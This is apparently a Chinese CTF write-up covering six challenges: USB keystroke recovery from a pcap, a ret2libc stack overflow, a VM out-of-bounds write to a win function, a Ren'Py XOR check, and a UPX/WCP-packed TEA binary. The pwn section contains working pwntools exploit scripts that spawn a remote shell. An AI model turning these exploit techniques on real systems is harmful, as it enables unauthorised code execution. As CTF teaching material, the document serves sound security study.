第一届创宇杯WP
OSINT
签到
思路
题目给出了一段 Base64 数据。解码后可得到一张二维码;扫描二维码进入指定公众号,再完成其中的小游戏即可获得 flag。
flag
flag{1dbc1e04-5de9-4dac-a8ae-5343dc2f04a5}
Misc
截获
思路
题目给了一个流量包,放进wireshark打开先查看抓包文件的基本信息,可以发现接口名为usbmon0,链路层类型是USB Linux mmapped。PCAPNG中大部分USBMon事件没有有效键盘数据。关键数据出现在72字节左右的包尾部:最后8字节符合USB HID键盘报告格式。 在尝试过滤72字节的包的时候,发现过滤出大量包包,因此考虑还是使用脚本来处理。
脚本思路:
- 解析PCAPNG文件结构,逐个读取Enhanced Packet Block,拿到每个USBMon包的原始payload。
- 筛选疑似HID键盘包:本题里有效包长度大于等于72字节,最后8字节就是USB HID keyboard report。
- 按HID键盘格式解析report
- 脚本维护当前光标位置、CapsLock、NumLock、上一次按下的键,用来判断哪些键是新按下的。
- 普通字母数字按HID表转换,同时处理Shift、CapsLock、小键盘数字。
- 遇到Backspace就删除前一个字符,遇到左右方向键就移动光标,遇到CapsLock / NumLock就切换状态。
- 拼出完整输入文本
完整脚本
import re
import struct
PCAPNG_FILE = "flag.pcapng"
NORMAL_KEYS = {
0x04: ('a', 'A'), 0x05: ('b', 'B'), 0x06: ('c', 'C'), 0x07: ('d', 'D'),
0x08: ('e', 'E'), 0x09: ('f', 'F'), 0x0a: ('g', 'G'), 0x0b: ('h', 'H'),
0x0c: ('i', 'I'), 0x0d: ('j', 'J'), 0x0e: ('k', 'K'), 0x0f: ('l', 'L'),
0x10: ('m', 'M'), 0x11: ('n', 'N'), 0x12: ('o', 'O'), 0x13: ('p', 'P'),
0x14: ('q', 'Q'), 0x15: ('r', 'R'), 0x16: ('s', 'S'), 0x17: ('t', 'T'),
0x18: ('u', 'U'), 0x19: ('v', 'V'), 0x1a: ('w', 'W'), 0x1b: ('x', 'X'),
0x1c: ('y', 'Y'), 0x1d: ('z', 'Z'),
0x1e: ('1', '!'), 0x1f: ('2', '@'), 0x20: ('3', '#'), 0x21: ('4', '$'),
0x22: ('5', '%'), 0x23: ('6', '^'), 0x24: ('7', '&'), 0x25: ('8', '*'),
0x26: ('9', '('), 0x27: ('0', ')'),
0x28: ('\n', '\n'), 0x2c: (' ', ' '), 0x2d: ('-', '_'), 0x2e: ('=', '+'),
0x2f: ('[', '{'), 0x30: (']', '}'), 0x31: ('\\', '|'), 0x33: (';', ':'),
0x34: ("'", '"'), 0x35: ('`', '~'), 0x36: (',', '<'), 0x37: ('.', '>'),
0x38: ('/', '?'),
}
KEYPAD_NUMLOCK = {
0x54: '/', 0x55: '*', 0x56: '-', 0x57: '+', 0x58: '\n',
0x59: '1', 0x5a: '2', 0x5b: '3', 0x5c: '4', 0x5d: '5',
0x5e: '6', 0x5f: '7', 0x60: '8', 0x61: '9', 0x62: '0', 0x63: '.',
}
NAV_KEYS = {
0x4f: 'right', 0x50: 'left', 0x51: 'down', 0x52: 'up',
0x4a: 'home', 0x4d: 'end', 0x2a: 'backspace', 0x39: 'capslock', 0x53: 'numlock',
}
def pcapng_packets(data):
off = 0
endian = '<'
while off + 12 <= len(data):
block_type = struct.unpack_from(endian + 'I', data, off)[0]
block_len = struct.unpack_from(endian + 'I', data, off + 4)[0]
if block_len < 12 or off + block_len > len(data):
break
body = data[off + 8:off + block_len - 4]
if block_type == 0x0A0D0D0A:
bom = struct.unpack_from('<I', body, 0)[0]
endian = '<' if bom == 0x1A2B3C4D else '>'
elif block_type == 6:
cap_len = struct.unpack_from(endian + 'I', body, 12)[0]
payload = body[20:20 + cap_len]
yield payload
off += block_len
def extract_hid_reports(path):
data = open(path, 'rb').read()
for payload in pcapng_packets(data):
if len(payload) >= 72:
yield payload[-8:]
def type_char(buf, pos, ch):
if ch == '\n':
ch = '\n'
buf[pos:pos] = list(ch)
return pos + len(ch)
def recover_text(reports):
buf = []
pos = 0
caps = False
num = True
last_keys = set()
for report in reports:
modifier = report[0]
shift = bool(modifier & 0x22)
keys = {k for k in report[2:] if k}
new_keys = keys - last_keys
last_keys = keys
for key in new_keys:
if key == 0x39:
caps = not caps
elif key == 0x53:
num = not num
elif key == 0x2a:
if pos > 0:
del buf[pos - 1]
pos -= 1
elif key == 0x4f:
pos = min(len(buf), pos + 1)
elif key == 0x50:
pos = max(0, pos - 1)
elif key == 0x4a:
pos = 0
elif key == 0x4d:
pos = len(buf)
elif key in NORMAL_KEYS:
lo, hi = NORMAL_KEYS[key]
if lo.isalpha():
ch = hi if (shift ^ caps) else lo
else:
ch = hi if shift else lo
pos = type_char(buf, pos, ch)
elif num and key in KEYPAD_NUMLOCK:
pos = type_char(buf, pos, KEYPAD_NUMLOCK[key])
elif key in NAV_KEYS:
pass
return ''.join(buf)
text = recover_text(extract_hid_reports(PCAPNG_FILE))
print(text)
flag = re.search(r'flag\{[^}]+\}', text)
if flag:
print(flag.group(0))
#输出为:
#Hello! Hacker, please keep this secret key safe and make sure it is not stolen by others.
#key:flag{f871360f-c353-42da-a782-d5b8a252d1e4}
Flag
flag{f871360f-c353-42da-a782-d5b8a252d1e4}
Pwn
blindrop
思路
先checksec一下
checksec 检查结果表明:目标为 32 位 i386 ELF,未开启 Canary、NX、PIE、RELRO 等常见保护,栈具有可执行权限,且存在 RWX 段。
保护全部没开。放进IDA审一下
IDA 反编译后可见,程序使用 read(0, f.buf, 0x200) 向较小的栈缓冲区读取数据,形成明显的栈溢出。读取结束后程序还会比较 f.canary 与参数 expected,只有两者相等才会继续执行并返回。
read函数存在栈溢出,并且利用时需要同时覆盖f.canary和栈上的expected参数,使二者相等,从而绕过检查。经过搜索,没发现system和binsh,考虑是ret2libc题目。这道题目又puts,我们直接泄露puts地址,通过ret2libc调用 system("/bin/sh")去getshell。
根据调试器中的栈布局,缓冲区起始位置到 f.canary 的偏移为 0x80,到保存返回地址的偏移为 0x90。expected 对应返回地址后的第一个 4 字节参数,因此可将 f.canary 和 ret_after 写成同一个值来绕过检查。payload 的核心布局如下:
padding(0x80)
f.canary = ret_after
padding(0x0c)
ret_addr
ret_after / expected
arg
如果按照普通栈溢出方式构造 payload,f.canary 与 expected 会不相等,程序将终止。由于 expected 正好位于返回地址后的 4 字节,也就是 32 位调用约定中的 ret_after 位置,所以将 f.canary 同样设置为 ret_after 即可通过检查。随后利用该布局泄露 puts 地址。
第一阶段 ROP 调用 puts(puts@got) 泄露 libc 地址,然后返回 main 再次输入。调试输出中得到:
puts_addr = 0xf7d61810
put泄露出来时0xf7d61810,进行libc搜索
将泄露的 puts 地址低位提交到 libc 数据库进行匹配,共得到 4 个候选。结合题目给出的 Ubuntu 22.04 环境,最终确认使用 libc6-i386_2.35-0ubuntu3.14_amd64。
搜索到4个,题目提示我们时ubuntu22.04,所以考虑后两个,在尝试过后发现是libc6-i386_2.35-0ubuntu3.14_amd64。此题基本解完
exp
from pwn import *
context.arch = "i386"
context.os = "linux"
context.log_level = "debug"
#p = process("./blindrop")
p = remote("challenge.xiaoyuyc.com", 31970)
elf = ELF("./blindrop")
libc = ELF("./libc.so.6")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]
canary_offset = 0x80
offset = 0x90
def payload32(ret_addr, ret_after, arg):
payload = b""
payload += b"a" * canary_offset
payload += p32(ret_after)
payload += b"a" * (offset - canary_offset - 4)
payload += p32(ret_addr)
payload += p32(ret_after)
payload += p32(arg)
return payload
payload1 = payload32(puts_plt, main_addr, puts_got)
p.recvuntil(b"payload> ")
p.sendline(payload1)
p.recvuntil(b"canary check passed.\n")
leak = p.recv(4)
puts_addr = u32(leak)
log.success("puts_addr = " + hex(puts_addr))
p.recvuntil(b"\n")
libc_base = puts_addr - libc.symbols["puts"]
system_addr = libc_base + libc.symbols["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
log.success("libc_base = " + hex(libc_base))
log.success("system_addr = " + hex(system_addr))
log.success("binsh_addr = " + hex(binsh_addr))
payload2 = payload32(system_addr, 0, binsh_addr)
p.recvuntil(b"payload> ")
p.sendline(payload2)
p.interactive()
第二阶段根据 libc 基址计算 system 与 "/bin/sh" 的地址,发送 system("/bin/sh") 的 ROP 链后成功获得 shell,并读取到 flag。
flag
flag{fbfa626d-1741-40cc-97c2-77ee9089b0ec}
vmpwn
思路
先checksec一下,保护只开了SHSTK和IBT,没有开启 PIE
checksec 显示该程序为 amd64 ELF,仅启用了 CET 相关的 SHSTK、IBT;未开启 PIE,因此程序代码地址固定,可以直接使用 win 函数的静态地址。
在IDA中,看到一个win的函数,里面有flag输出,由于并没有开启PIE,所以可以直接拿到win地址,win=0x4012c7,所以我们思路就是让他执行win即可。
IDA 中存在后门函数 win(),地址为 0x4012c7。该函数会打开 flag 文件,读取其中内容并通过 puts 输出,因此利用目标是劫持 VM 的函数调用到 win()。
程序先初始化了一个数组,这里循环变量i从0到7,每次写入:[rbp+rax*8+vm.mem],因此一共有 8 个元素,每个元素 8 字节。接着程序初始化了两个函数指针。VM在栈上的布局可以简单理解为vm.mem[0~7],vm.funcs[0-1],两者应该是紧挨。
初始化逻辑先将 vm.mem[0..7] 共 8 个 64 位元素清零,随后设置两个函数指针。可将栈上结构近似表示为:
vm.mem[0]
...
vm.mem[7]
vm.funcs[0]
vm.funcs[1]
因此越界访问 vm.mem[8] 时,实际访问的就是 vm.funcs[0]。
VM 的 push 指令(op = 1)从字节码中读取一个 64 位立即数压入虚拟栈;pop 指令(op = 2)读取一个 1 字节索引,并把栈顶值写入 vm.mem[idx]。其中 pop 没有验证 idx < 8,构成数组越界写。
同时在switch中的op=2中并没有检查idx的范围,如果idx=8,那么我们访问的是vm.mem[8],也就是vm.funcs[0]。op=4是用来调用函数的。这里虽然会检查idx只能是0或1,但是我们可以先把vm.funcs[0]覆盖成win()的地址。
VM 的 call 指令(op = 4)虽然会检查函数索引只能为 0 或 1,但它最终直接执行 vm.funcs[idx]()。因此先利用 pop 8 把 vm.funcs[0] 改为 win,再执行 call 0 即可。
所以exp主要思路是:push win地址 -> pop到vm.mem[8],覆盖 vm.funcs[0] -> call 0,调用 vm.funcs[0] -> 成功进入 win()
exp
from pwn import *
elf = ELF('./vmpwn')
win = elf.symbols['win']
code = b''
code += b'\x01' + p64(win)
code += b'\x02\x08'
code += b'\x04\x00'
#p = process(['./ld-linux-x86-64.so.2', './vmpwn'], env={'LD_PRELOAD': './libc.so.6'})
p = remote("challenge.xiaoyuyc.com",43310)
p.sendlineafter(b'len> ', str(len(code)).encode())
p.sendafter(b'code> ', code)
p.interactive()
发送字节码 push win; pop 8; call 0 后,程序成功跳转到 win() 并输出 flag。
flag
flag{f638e8b0-f7a3-4ed7-8162-e39911f97f01}
Reverse
galgame
思路
打开文件,看到renp、game/script.rpyc、script_version.txt后,判断这是一个RenPy打包游戏。
解包后的目录具有典型 Ren’Py 游戏结构,根目录包含 Ren’Py 运行组件,game 目录中包含 script.rpyc,同时存在 script_version.txt。由于未提供 .rpy 源码,可确定需要反编译 .rpyc。
script_version.txt中我们可以看到游戏使用的是renpy8.5.2
script_version.txt 中记录的版本信息表明,该游戏脚本由 Ren’Py 8.5.2 编译。
在game文件夹里没有发现.rpy源码,因此我们将script.rpyc使用unrpyc弄出script.rpy
使用 unrpyc 反编译 game/script.rpyc 得到 script.rpy。关键逻辑与数据如下:
init python:
heart = b'OJN\x1b\x1a\x1c\x1aHULLI\x1dUL\x1c\x1dKU\x1a\x19KOULO\x1cHKJ\x1e\x1dO\x1a@\x19'
def dec(s):
return bytes([ord(c) ^ 0x78 for c in s])
label start:
$ user_input = renpy.input("just input your answer: ", length=60)
$ user_input = user_input.strip()
$ encry_input = dec(user_input)
if encry_input == heart:
e "you are right"
e "Please include WuCup before submitting"
else:
e "no no no"
jump start
也就是说,正确输入的每个字符与 0x78 异或后,应当等于 heart 中对应的字节。
我们可以看出其输出逻辑是:用户输入 → 每个字符 XOR 0x78 → encode 成 bytes → 和 heart 比较
$ user_input = renpy.input("just input your answer: ", length=60)
$ user_input = user_input.strip()
$ encry_input = dec(user_input)
if encry_input == heart:
e "you are right"
e "Please include WuCup before submitting"
else:
e "no no no"
jump start
所以我们直接XOR一下就能获取flag
脚本
heart = b'OJN\x1b\x1a\x1c\x1aHULLI\x1dUL\x1c\x1dKU\x1a\x19KOULO\x1cHKJ\x1e\x1dO\x1a@\x19'
ans = ''.join(chr(b ^ 0x78) for b in heart)
print(ans)
脚本运行后输出:
726cbdb0-441e-4de3-ba37-47d032fe7b8a
结合游戏中的提示“提交时包含 WuCup”,平台提交格式最终按本题要求写为对应的 flag。
flag
flag{726cbdb0-441e-4de3-ba37-47d032fe7b8a}
Tea
思路
拿到附件后,先对程序做基础静态分析。
基础静态分析结果:附件是一个 64 位 Windows PE 可执行文件,映像基址为 0x140000000,入口 RVA 为 0x14270,即入口 VA 为 0x140014270。IDA 初次载入后只能识别出很少的有效函数,入口附近主要是解包 stub,说明程序被加壳。
程序是一个64位PE文件,进口是0x14270,在IDA打开后函数少的可怜,明显有壳。且出现upx,再通过die发现是upx3.91+wcp的壳
Detect It Easy(DIE)检测结果显示:程序外层具有 UPX 3.91 特征,同时还存在 WCP 壳特征,因此需要先处理 UPX,再动态脱掉内层 WCP 壳。
去除外层 UPX 并重新载入 IDA 后,PE 节区结构中可看到用于壳代码/数据的 WCP 相关节区;入口仍位于 RVA 0x14270 附近。此时真实代码尚未静态恢复,需要运行至 WCP stub 解包结束后再 dump 内存映像。
动态脱内层WCP壳,内层WCP壳的入口仍在当前PE的入口点附近:
EntryVA = 0x140014270
这部分代码负责把真实程序还原到内存,然后跳转到真实代码。静态分析 WCP 节意义不大,需要动态运行到解包完成之后再 dump。
调试时关注WCP stub末尾的跳转。最终定位到解包完成附近的跳转点:
RVA: 0x144cb
VA : ImageBase + 0x144cb
本次运行时ASLR后模块基址为:
ImageBase = 0x7ff7564b0000
Breakpoint = 0x7ff7564c44cb
断在 RVA 0x144cb 后,此时内存中的真实代码已经被还原。读取进程中从模块基址开始、大小为SizeOfImage = 0x16000的内存,保存为:
tea_runtime_unpacked.mem
为了确认dump成功,在dump中搜索字符串和TEA常量:
dump size 0x16000
b'Please' 0x4090
b'Correct' 0x40ab
b'Wrong' 0x40bf
b'flag{' 0x4000
TEA delta 0x1466
strcmp 0x1329d, 0x152da
可以看到真实程序字符串已经出现:
flag{
Please enter the flag:
Correct! well done.
Wrong flag.
strcmp
说明内层壳已经脱完,可以继续分析真实逻辑。在运行时dump中,真实代码的基址按原始ImageBase = 0x140000000计算。关键函数如下:
TEA 解密函数:0x140001440
key 派生函数:0x140001513
主校验函数:0x1400015b6
主函数中先打印提示并读取用户输入:
00000001400015cb lea rax, [rip + 0x2abe] ; "Please enter the flag: "
00000001400015d5 call 0x1400029e0
...
00000001400015fa call 0x140002b90 ; fgets/input
之后调用 key 派生函数:
0000000140001633 lea rax, [rbp - 0x50]
0000000140001637 mov rcx, rax
000000014000163a call 0x140001513
接着循环读取 10 个 dword 密文,每两个 dword 作为一个 TEA block 调用解密函数:
0000000140001681 mov rax, qword ptr [rbp + 0x88]
0000000140001690 lea rax, [rip + 0x2989] ; cipher array
0000000140001697 mov eax, dword ptr [rdx + rax]
...
00000001400016c8 call 0x140001440 ; TEA decrypt
...
0000000140001713 add qword ptr [rbp + 0x88], 2
0000000140001727 jb 0x140001681
解密完成后,程序构造 flag:
000000014000173b mov qword ptr [rbp + 0x60], 5 ; strlen("flag{")
0000000140001743 mov qword ptr [rbp + 0x58], 0x24 ; 36 bytes
...
000000014000179c lea rdx, [rip + 0x285d] ; "flag{"
...
00000001400017f0 call 0x140002c08 ; copy decrypted 36 bytes
0000000140001807 mov byte ptr [rax], 0x7d ; append '}'
最后用strcmp比较输入和构造出的flag:
0000000140001818 mov rdx, qword ptr [rbp + 0x48] ; real flag
000000014000181c lea rax, [rbp - 0x40] ; user input
0000000140001820 mov rcx, rax
0000000140001823 call 0x140002b50 ; strcmp
0000000140001828 test eax, eax
000000014000182a jne 0x14000183d
000000014000182c lea rax, [rip + 0x2878] ; "Correct! well done."
TEA 解密函数地址:0x140001440
代码如下:
0000000140001450 mov rax, qword ptr [rbp + 0x10]
0000000140001454 mov eax, dword ptr [rax]
0000000140001456 mov dword ptr [rbp - 4], eax ; v0
0000000140001459 mov rax, qword ptr [rbp + 0x10]
000000014000145d mov eax, dword ptr [rax + 4]
0000000140001460 mov dword ptr [rbp - 8], eax ; v1
0000000140001463 mov dword ptr [rbp - 0x14], 0x9e3779b9
000000014000146d shl eax, 5 ; delta * 32
0x9e3779b9是 TEA 的标准 delta 常量。delta « 5等价于32轮TEA解密中的初始sum:
sum = 0x9e3779b9 * 32 mod 2^32 = 0xc6ef3720
循环中先更新 v1,再更新 v0,最后sum -= delta,是标准 TEA 解密结构:
v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]);
v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]);
sum -= delta;
循环次数为32:
00000001400014ec add dword ptr [rbp - 0x10], 1
00000001400014f0 cmp dword ptr [rbp - 0x10], 0x1f
00000001400014f4 jle 0x14000147c
key 派生函数地址:0x140001513
函数循环处理 4 个 dword。逻辑为:
key[i] = d[i] ^ ((a[i] ^ b[i]) + c[i]);
四组常量分别为:
uint32_t a[4] = {
0x1f2e3d4c, 0x0a0b0c0d, 0x11223344, 0x55667788
};
uint32_t b[4] = {
0xaabbccdd, 0x99aabbcc, 0x33445566, 0x77889900
};
uint32_t c[4] = {
0x01020304, 0x05060708, 0x09101112, 0x13141516
};
uint32_t d[4] = {
0xdeadbeef, 0xfeedface, 0xabad1dea, 0x0badf00d
};
计算得到 TEA key:
uint32_t key[4] = {
0x683a4a7a,
0x664a4407,
0x80db6ade,
0x3daef393
};
主函数中的密文数组位于:0x140004020
共10个 dword,也就是5个TEA block:
uint32_t cipher[10] = {
0x7d7649e3, 0x6282c52c,
0xf4fef264, 0x55cb8870,
0xa8ae752a, 0xa33ad53f,
0x1fa37c02, 0x6113601c,
0x60ef18b4, 0xeb31112c
};
解密后得到40字节数据,但程序只取前36字节拼进flag中间:
0d3747db-16f6-4c62-9665-b3e7531cefc8
解密脚本
import struct
MASK = 0xffffffff
key_src_a = [
0x1f2e3d4c, 0x0a0b0c0d, 0x11223344, 0x55667788
]
key_src_b = [
0xaabbccdd, 0x99aabbcc, 0x33445566, 0x77889900
]
key_src_c = [
0x01020304, 0x05060708, 0x09101112, 0x13141516
]
key_src_d = [
0xdeadbeef, 0xfeedface, 0xabad1dea, 0x0badf00d
]
cipher = [
0x7d7649e3, 0x6282c52c,
0xf4fef264, 0x55cb8870,
0xa8ae752a, 0xa33ad53f,
0x1fa37c02, 0x6113601c,
0x60ef18b4, 0xeb31112c,
]
def derive_key():
key = []
for i in range(4):
t = ((key_src_a[i] ^ key_src_b[i]) + key_src_c[i]) & MASK
key.append((key_src_d[i] ^ t) & MASK)
return key
def tea_decrypt_block(v0, v1, key):
delta = 0x9e3779b9
sum_ = (delta << 5) & MASK
k0, k1, k2, k3 = key
for _ in range(32):
v1 = (v1 - ((((v0 << 4) & MASK) + k2) ^ ((v0 + sum_) & MASK) ^ ((v0 >> 5) + k3))) & MASK
v0 = (v0 - ((((v1 << 4) & MASK) + k0) ^ ((v1 + sum_) & MASK) ^ ((v1 >> 5) + k1))) & MASK
sum_ = (sum_ - delta) & MASK
return v0, v1
def main():
key = derive_key()
plain = b""
for i in range(0, len(cipher), 2):
v0, v1 = tea_decrypt_block(cipher[i], cipher[i + 1], key)
plain += struct.pack("<II", v0, v1)
middle = plain[:36].decode()
print("flag{" + middle + "}")
if __name__ == "__main__":
main()
运行结果:
flag{0d3747db-16f6-4c62-9665-b3e7531cefc8}
flag
flag{0d3747db-16f6-4c62-9665-b3e7531cefc8}

说些什么吧!